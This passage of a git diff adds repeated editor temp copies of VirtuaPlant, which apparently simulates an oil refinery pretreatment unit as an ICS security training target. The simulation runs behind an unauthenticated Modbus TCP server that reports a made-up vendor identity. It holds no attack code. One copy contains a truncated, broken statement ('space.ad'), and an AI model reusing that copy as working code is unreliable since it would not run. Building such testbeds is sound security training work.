+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_rOvfh7.py b/plants/oil-refinery/.~c9_invoke_rOvfh7.py
new file mode 100644
index 0000000..2b2dd45
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_rOvfh7.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = outlet_valve_collision
+ space.add(shape)
+ return shape
+
+def oil_spill_sensor(space):
+ body = pymunk.Body()
+ body.position = (0, 0)
+ radius = 7
+ a = (0, 75)
+ b = (SCREEN_WIDTH, 75)
+ shape = pymunk.Segment(body, a, b, radius)
+ shape.collision_type = oil_spill_collision # oil spill sensor
+ space.add(shape)
+ return shape
+
+# Add the feed pump to the space
+def add_pump(space):
+ body = pymunk.Body()
+ body.position = (70, 585)
+ shape = pymunk.Poly.create_box(body, (15, 20), (0, 0), 0)
+ space.add(shape)
+ return shape
+
+# Draw the various "pipes" that the oil flows through
+# TODO: Get rid of magic numbers and add constants + offsets
+def add_oil_unit(space):
+ body = pymunk.Body()
+ body.position = (300,300)
+
+ #oil storage unit
+ l1 = pymunk.Segment(body, (-278, 270), (-278, 145), 5) #left side line
+ l2 = pymunk.Segment(body, (-278, 145), (-246, 107), 5)
+ l3 = pymunk.Segment(body, (-180, 270), (-180, 145), 5) #right side line
+ l4 = pymunk.Segment(body, (-180, 145), (-215, 107), 5)
+
+ #pipe to separator vessel
+ l5 = pymunk.Segment(body, (-246, 107), (-246, 53), 5) #left side vertical line
+ l6 = pymunk.Segment(body, (-246, 53), (-19, 53), 5) #bottom horizontal line
+ l7 = pymunk.Segment(body, (-19, 53), (-19, 33), 5)
+ l8 = pymunk.Segment(body, (-215, 107), (-215, 80), 5) #right side vertical line
+ l9 = pymunk.Segment(body, (-215, 80), (7, 80), 5) #top horizontal line
+ l10 = pymunk.Segment(body, (7, 80), (7, 33), 5)
+
+ #separator vessel
+ l11 = pymunk.Segment(body, (-19, 31), (-95, 31), 5) #top left horizontal line
+ l12 = pymunk.Segment(body, (-95, 31), (-95, -23), 5) #left side vertical line
+ l13 = pymunk.Segment(body, (-95, -23), (-83, -23), 5)
+ l14 = pymunk.Segment(body, (-83, -23), (-80, -80), 5) #left waste exit line
+ l15 = pymunk.Segment(body, (-68, -80), (-65, -23), 5) #right waste exit line
+ l16 = pymunk.Segment(body, (-65, -23), (-45, -23), 5)
+ l17 = pymunk.Segment(body, (-45, -23), (-45, -67), 5) #elevation vertical line
+ l18 = pymunk.Segment(body, (-45, -67), (13, -67), 5) #left bottom line
+ l19 = pymunk.Segment(body, (13, -67), (13, -82), 5) #left side separator exit line
+ l20 = pymunk.Segment(body, (43, -82), (43, -67), 5) #right side separator exit line
+ l21 = pymunk.Segment(body, (43, -67), (65, -62), 5) #rigt side diagonal line
+ l22 = pymunk.Segment(body, (65, -62), (77, 31), 5) #right vertical line
+ l23 = pymunk.Segment(body, (77, 31), (7, 31), 5) #top right horizontal line
+ l24 = pymunk.Segment(body, (-3, -67), (-3, 10), 5) #center separator line
+
+ #separator exit pipe
+ l25 = pymunk.Segment(body, (43, -85), (43, -113), 5) #right side vertical line
+ l26 = pymunk.Segment(body, (43, -113), (580, -113), 5) #top horizontal line
+ l27 = pymunk.Segment(body, (13, -85), (13, -140), 5) #left vertical line
+ l28 = pymunk.Segment(body, (13, -140), (580, -140), 5) #bottom horizontal line
+
+ #waste water pipe
+ l29 = pymunk.Segment(body, (-87, -85), (-87, -112), 5) #left side waste line
+ l30 = pymunk.Segment(body, (-60, -85), (-60, -140), 5) #right side waste line
+ l31 = pymunk.Segment(body, (-87, -112), (-163, -112), 5) #top horizontal line
+ l32 = pymunk.Segment(body, (-60, -140), (-134, -140), 5) #bottom horizontal line
+ l33 = pymunk.Segment(body, (-163, -112), (-163, -185), 5) #left side vertical line
+ l34 = pymunk.Segment(body, (-134, -140), (-134, -185), 5) #right side vertical line
+
+ space.add(l1, l2, l3, l4, l5, l6, l7, l8, l9, l10, l11, l12, l13, l14, l15,
+ l16, l17, l18, l19, l20, l21, l22, l23, l24, l25,
+ l26, l27, l28, l29, l30, l31, l32, l33, l34) # 3
+
+ return (l1,l2,l3,l4,l5,l6,l7,l8,l9,l10,l11,l12,l13,l14,l15,l16,
+ l17,l18,l19,l20,l21,l22,l23,l24,l25,l26,l27,l28,l29,l30,
+ l31,l32,l33,l34)
+
+def draw_polygon(bg, shape):
+ points = shape.get_vertices()
+ fpoints = []
+ for p in points:
+ fpoints.append(to_pygame(p))
+ pygame.draw.polygon(bg, THECOLORS['black'], fpoints)
+
+# Draw a single line to the screen
+def draw_line(screen, line, color = None):
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ if color is None:
+ pygame.draw.lines(screen, THECOLORS["black"], False, [p1,p2])
+ else:
+ pygame.draw.lines(screen, color, False, [p1,p2])
+
+# Draw lines from an iterable list
+def draw_lines(screen, lines):
+ for line in lines:
+ body = line.body
+ pv1 = body.position + line.a.rotated(body.angle) # 1
+ pv2 = body.position + line.b.rotated(body.angle)
+ p1 = to_pygame(pv1) # 2
+ p2 = to_pygame(pv2)
+ pygame.draw.lines(screen, THECOLORS["gray"], False, [p1,p2])
+
+# Default collision function for objects
+# Returning true makes the two objects collide normally just like "walls/pipes"
+def no_collision(space, arbiter, *args, **kwargs):
+ return True
+
+# Called when level sensor in tank is hit
+def level_reached(space, arbiter, *args, **kwargs):
+ log.debug("Level reached")
+ PLCSetTag(PLC_TANK_LEVEL, 1) # Level Sensor Hit, Tank full
+ PLCSetTag(PLC_FEED_PUMP, 0) # Turn off the pump
+# PLCSetTag(PLC_OUTLET_VALVE, 1) # Set the outlet valve to 1
+ return False
+
+def oil_spilled(space, arbiter, *args, **kwargs):
+ global oil_spilled_amount
+ global oil_processed_amount
+ log.debug("Oil Spilled")
+ oil_spilled_amount = oil_spilled_amount + 1
+ PLCSetTag(PLC_OIL_SPILL, oil_spilled_amount) # We lost a unit of oil
+ PLCSetTag(PLC_FEED_PUMP, 0) # Attempt to shut off the pump
+ return False
+
+# This fires when the separator level is hit
+def sep_on(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 1) # Sep vessel hit, begin processing
+ return False
+
+# This fires when the separator is not processing
+def sep_off(space, arbiter, *args, **kwargs):
+ log.debug("Begin separation")
+ PLCSetTag(PLC_SEP_VESSEL, 0) # Sep vessel hit, begin processing
+ return False
+
+def sep_feed_on(space, arbiter, *args, **kwargs):
+ log.debug("Outlet Feed")
+ PLCSetTag(PLC_SEP_FEED, 1)
+ return False
+
+def outlet_valve_open(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve open")
+ PLCSetTag(PLC_OUTLET_VALVE, 0)
+ return False
+
+def outlet_valve_closed(space, arbiter, *args, **kwargs):
+ log.debug("Outlet valve close")
+ PLCSetTag(PLC_OUTLET_VALVE, 1)
+ return False
+
+def run_world():
+ pygame.init()
+ screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))
+ pygame.display.set_caption("Crude Oil Pretreatment Unit")
+ clock = pygame.time.Clock()
+ running = True
+
+
+ # Create game space (world) and set gravity to normal
+ space = pymunk.Space() #2
+ space.gravity = (0.0, -900.0)
+
+ # When oil collides with tank_level, call level_reached
+ space.add_collision_handler(tank_level_collision, ball_collision, begin=level_reached)
+ space.add_collision_handler(oil_spill_collision, ball_collision, begin=oil_spilled)
+
+
+ pump = add_pump(space)
+ lines = add_oil_unit(space)
+ tank_level = tank_level_sensor(space)
+ separator_vessel = separator_vessel_release(space)
+ separator_feed = separator_vessel_feed(space)
+ separator_feed = separator_vessel_feed(space)
+ space.ad
+ outlet = outlet_valve_sensor(space)
+
+
+ balls = []
+
+ ticks_to_next_ball = 1
+
+ # Set font settings
+ fontBig = pygame.font.SysFont(None, 40)
+ fontMedium = pygame.font.SysFont(None, 26)
+ fontSmall = pygame.font.SysFont(None, 18)
+
+ while running:
+ # Advance the game clock
+ clock.tick(FPS)
+
+ for event in pygame.event.get():
+ if event.type == QUIT:
+ running = False
+ elif event.type == KEYDOWN and event.key == K_ESCAPE:
+ running = False
+
+ bg = pygame.image.load("oil_unit.png")
+
+ screen.fill(THECOLORS["grey"])
+
+ # If the feed pump is on
+ if PLCGetTag(PLC_FEED_PUMP) == 1:
+ # Draw the valve if the pump is on
+ # If the oil reaches the level sensor at the top of the tank
+ if (PLCGetTag(PLC_TANK_LEVEL) == 1):
+ PLCSetTag(PLC_FEED_PUMP, 0)
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+
+ else:
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ if PLCGetTag(PLC_OUTLET_VALVE) == 1: # Valve is closed
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=outlet_valve_closed)
+ elif PLCGetTag(PLC_OUTLET_VALVE) == 0: # Valve is open
+ space.add_collision_handler(outlet_valve_collision, ball_collision, begin=no_collision)
+
+ # If the separator process is turned on
+ if PLCGetTag(PLC_SEP_VESSEL) == 1:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=sep_on)
+ space.add_collision_handler(separator_collision, ball_collision, begin=sep_feed_on)
+ else:
+ space.add_collision_handler(sep_vessel_collision, ball_collision, begin=no_collision)
+ space.add_collision_handler(separator_collision, ball_collision, begin=no_collision)
+
+
+ ticks_to_next_ball -= 1
+
+ if ticks_to_next_ball <= 0 and PLCGetTag(PLC_FEED_PUMP) == 1:
+ ticks_to_next_ball = 1
+ ball_shape = add_ball(space)
+ balls.append(ball_shape)
+
+ balls_to_remove = []
+ for ball in balls:
+ if ball.body.position.y < 0 or ball.body.position.x > SCREEN_WIDTH+150:
+ balls_to_remove.append(ball)
+
+ draw_ball(bg, ball)
+
+ for ball in balls_to_remove:
+ space.remove(ball, ball.body)
+ balls.remove(ball)
+
+ draw_polygon(bg, pump)
+ draw_lines(bg, lines)
+ draw_ball(bg, tank_level, THECOLORS['black'])
+ draw_ball(bg, separator_vessel, THECOLORS['black'])
+ draw_ball(bg, separator_feed, THECOLORS['black'])
+ draw_line(bg, outlet)
+
+ #draw_ball(screen, separator_feed, THECOLORS['red'])
+ title = fontMedium.render(str("Crude Oil Pretreatment Unit"), 1, THECOLORS['blue'])
+ name = fontBig.render(str("VirtuaPlant"), 1, THECOLORS['gray20'])
+ instructions = fontSmall.render(str("(press ESC to quit)"), 1, THECOLORS['gray'])
+ feed_pump_label = fontMedium.render(str("Feed Pump"), 1, THECOLORS['blue'])
+ oil_storage_label = fontMedium.render(str("Oil Storage Unit"), 1, THECOLORS['blue'])
+ separator_label = fontMedium.render(str("Separator Vessel"), 1, THECOLORS['blue'])
+ waste_water_label = fontMedium.render(str("Waste Water Treatment Unit"), 1, THECOLORS['blue'])
+ tank_sensor = fontSmall.render(str("Tank Level Sensor"), 1, THECOLORS['blue'])
+ separator_release = fontSmall.render(str("Separator Vessel Release Sensor"), 1, THECOLORS['blue'])
+ waste_sensor = fontSmall.render(str("Waste Water Sensor"), 1, THECOLORS['blue'])
+ outlet_sensor = fontSmall.render(str("Outlet Valve Sensor"), 1, THECOLORS['blue'])
+
+ bg.blit(title, (300, 40))
+ bg.blit(name, (347, 10))
+ bg.blit(instructions, (SCREEN_WIDTH-115, 0))
+ bg.blit(feed_pump_label, (80, 0))
+ bg.blit(oil_storage_label, (125, 100))
+ bg.blit(separator_label, (385,275))
+ screen.blit(waste_water_label, (265, 490))
+ bg.blit(tank_sensor, (125, 50))
+ bg.blit(outlet_sensor, (90, 195))
+ bg.blit(separator_release, (350, 375))
+ bg.blit(waste_sensor, (90, 375))
+ screen.blit(bg, (0, 0))
+
+ space.step(1/FPS)
+ pygame.display.flip()
+
+ if reactor.running:
+ reactor.callFromThread(reactor.stop)
+
+store = ModbusSlaveContext(
+ di = ModbusSequentialDataBlock(0, [0]*100),
+ co = ModbusSequentialDataBlock(0, [0]*100),
+ hr = ModbusSequentialDataBlock(0, [0]*100),
+ ir = ModbusSequentialDataBlock(0, [0]*100))
+
+context = ModbusServerContext(slaves=store, single=True)
+
+# Modbus PLC server information
+identity = ModbusDeviceIdentification()
+identity.VendorName = 'Simmons Oil Refining Platform'
+identity.ProductCode = 'SORP'
+identity.VendorUrl = 'http://simmons.com/markets/oil-gas/pages/refining-industry.html'
+identity.ProductName = 'SORP 3850'
+identity.ModelName = 'Simmons ORP 3850'
+identity.MajorMinorRevision = '2.09.01'
+
+def startModbusServer():
+ # Run a modbus server on specified address and modbus port (5020)
+ StartTcpServer(context, identity=identity, address=(args.server_addr, MODBUS_SERVER_PORT))
+
+def main():
+ reactor.callInThread(run_world)
+ startModbusServer()
+
+if __name__ == '__main__':
+ sys.exit(main())
diff --git a/plants/oil-refinery/.~c9_invoke_vBNVon.py b/plants/oil-refinery/.~c9_invoke_vBNVon.py
new file mode 100644
index 0000000..684529f
--- /dev/null
+++ b/plants/oil-refinery/.~c9_invoke_vBNVon.py
@@ -0,0 +1,468 @@
+#!/usr/bin/env python
+import logging
+
+# - Multithreading
+from twisted.internet import reactor
+
+# - Modbus
+from pymodbus.server.async import StartTcpServer
+from pymodbus.device import ModbusDeviceIdentification
+from pymodbus.datastore import ModbusSequentialDataBlock
+from pymodbus.datastore import ModbusSlaveContext, ModbusServerContext
+from pymodbus.transaction import ModbusRtuFramer, ModbusAsciiFramer
+
+# - World Simulator
+import sys, random
+import pygame
+from pygame.locals import *
+from pygame.color import *
+import pymunk
+
+import socket
+
+import argparse
+import os
+import sys
+import time
+
+# Override Argument parser to throw error and generate help message
+# if undefined args are passed
+class MyParser(argparse.ArgumentParser):
+ def error(self, message):
+ sys.stderr.write('error: %s\n' % message)
+ self.print_help()
+ sys.exit(2)
+
+# Create argparser object to add command line args and help option
+parser = MyParser(
+ description = 'This Python script starts the SCADA/ICS World Server',
+ epilog = '',
+ add_help = True)
+
+# Add a "-i" argument to receive a filename
+parser.add_argument("-t", action = "store", dest="server_addr",
+ help = "Modbus server IP address to listen on")
+
+# Print help if no args are supplied
+if len(sys.argv)==1:
+ parser.print_help()
+ sys.exit(1)
+
+# Split and process arguments into "args"
+args = parser.parse_args()
+
+logging.basicConfig()
+log = logging.getLogger()
+log.setLevel(logging.INFO)
+
+# Display settings
+SCREEN_WIDTH = 580
+SCREEN_HEIGHT = 460
+FPS=50.0
+
+# Port the world will listen on
+MODBUS_SERVER_PORT=5020
+
+# Amount of oil spilled/processed
+oil_spilled_amount = 0
+oil_processed_amount = 0
+
+# PLC Register values for various control functions
+PLC_FEED_PUMP = 0x01
+PLC_TANK_LEVEL = 0x02
+PLC_OUTLET_VALVE = 0x03
+PLC_SEP_VESSEL = 0x04
+PLC_SEP_FEED = 0x05
+PLC_OIL_SPILL = 0x06
+PLC_OIL_PROCESSED = 0x07
+
+# Collision types
+tank_level_collision = 0x4
+ball_collision = 0x5
+outlet_valve_collision = 0x6
+sep_vessel_collision = 0x7
+separator_collision = 0x8
+oil_spill_collision = 0x9
+
+
+def to_pygame(p):
+ """Small hack to convert pymunk to pygame coordinates"""
+ return int(p.x), int(-p.y+600)
+
+# Add "oil" to the world space
+def add_ball(space):
+ mass = 0.01
+ radius = 3
+ inertia = pymunk.moment_for_circle(mass, 0, radius, (0,0))
+ body = pymunk.Body(mass, inertia)
+ body._bodycontents.v_limit = 120
+ body._bodycontents.h_limit = 1
+ x = random.randint(69, 70)
+ body.position = x, 565
+ shape = pymunk.Circle(body, radius, (0,0))
+ shape.collision_type = ball_collision #liquid
+ space.add(body, shape)
+ return shape
+
+# Add a ball to the space
+def draw_ball(screen, ball, color=THECOLORS['brown']):
+ p = int(ball.body.position.x), 600-int(ball.body.position.y)
+ pygame.draw.circle(screen, color, p, int(ball.radius), 2)
+
+# Add the separator vessel feed
+def separator_vessel_feed(space):
+ body = pymunk.Body()
+ body.position = (420, 257)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = separator_collision # Collision value for separator
+ space.add(shape)
+ return shape
+
+# Add the separator vessel release
+def separator_vessel_release(space):
+ body = pymunk.Body()
+ body.position = (387, 225)
+ radius = 4
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = sep_vessel_collision
+ space.add(shape)
+ return shape
+
+# Add the tank level sensor
+def tank_level_sensor(space):
+ body = pymunk.Body()
+ body.position = (115, 535)
+ radius = 3
+ shape = pymunk.Circle(body, radius, (0, 0))
+ shape.collision_type = tank_level_collision # tank_level
+ space.add(shape)
+ return shape
+
+def outlet_valve_sensor(space):
+ body = pymunk.Body()
+ body.position = (70, 410)
+ # Check these coords and adjust
+ a = (-20, 10)
+ b = (20, 10)
+ radius = 4
+ shape = pymunk.Segment(body, a, b, radius)
